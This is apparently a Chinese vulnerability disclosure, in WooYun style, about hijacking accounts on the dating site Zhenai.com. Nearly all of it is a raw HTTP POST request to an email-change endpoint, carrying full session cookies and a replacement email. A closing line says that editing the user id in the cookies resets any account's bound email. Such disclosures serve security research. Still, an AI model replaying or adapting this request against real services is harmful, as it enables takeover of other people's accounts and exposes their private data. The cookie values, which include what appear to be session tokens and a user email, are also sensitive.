珍爱网任意劫持他人账号
album.zhenai.com
POST /personal/ajaxChangeEmail.jsps HTTP/1.1
Host: album.zhenai.com
Proxy-Connection: keep-alive
Content-Length: 33
Accept: text/plain, */*; q=0.01
Origin: http://album.zhenai.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/25.0.1349.2 Safari/537.21
Content-Type: application/x-www-form-urlencoded
Referer: http://album.zhenai.com/personal/updateEmailOfPage.jsps?updateEmail=123@126.com
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: sid=1kZXLJoxW6BVFDoXsnRy; SEARCHWORD=3; mid=%5E%7Emid%3D43998445%5E%7E; loginactiontime=%5E%7Eloginactiontime%3D1357958628099%5E%7E; sourceUrl=%5E%7EsourceUrl%3D%5E%7E; logininfo=%5E%7Elogininfo%3D43998445%5E%7E; rmpwd=%5E%7Eloginmode%3D%5E%7Elogininfo%3D43998445%5E%7E; otherinfo=%5E%7Eisnew%3D1%5E%7ElocalEmail%3D%5E%7E; urlkey=http%3A//register.zhenai.com/register/upLoadUserPhotoPre.jsps%3FregType%3Dphone%26towhere%3Dhttp%253A%252F%252Fprofile.zhenai.com%252Fpersonal%252FmymainPage.jsps
%3Fr%3D0.9503279209305837; isEmailIntercept43998445=^~isEmail=yes^~; OrderDiscount43998445=^~hasDiscount=no^~; CHANNEL_FIRST_SEARCH=1; CHANNEL_FIRST_PAGE=1; infoprcent-43998445=55; isvalideEmail=%5E%7EvalideEmail%3D1%5E%7E; JSESSIONID=abcoeSWkDdmg8fU5nTSWt; lover=%5E%7Epage%3D2%5E%7Esize%3D1000%5E%7E; CHANNEL_PHOTO=0; CHANNEL=^~refererHost=^~channelId=40020^~subid=^~; bottomRemind=%5E%7EvisPhoto%3Dno%5E%7E; p=%5E%7Eworkcity%3D10102014%5E%7EbridgeCity%3D0%5E%7Eloginname%3D2013-01-12+10%3A43%3A48.0%5E%7Elh%3D43998445%5E%7Esex%3D0%5E%7Eemail%3D%5E%7Enickname%3D%E4%BC%9A%E5%91%9843998445%5E
%7Emt%3D1%5E%7Emage%3D23%5E%7Edp%3D%5E%7Edby%3D3b7f05954d0b4889%5E%7Eemail%3Dlandaozi%40126.com%5E%7E
logininfo.email=root%40wooyun.org
修改id 43998445即可重置任意绑定邮箱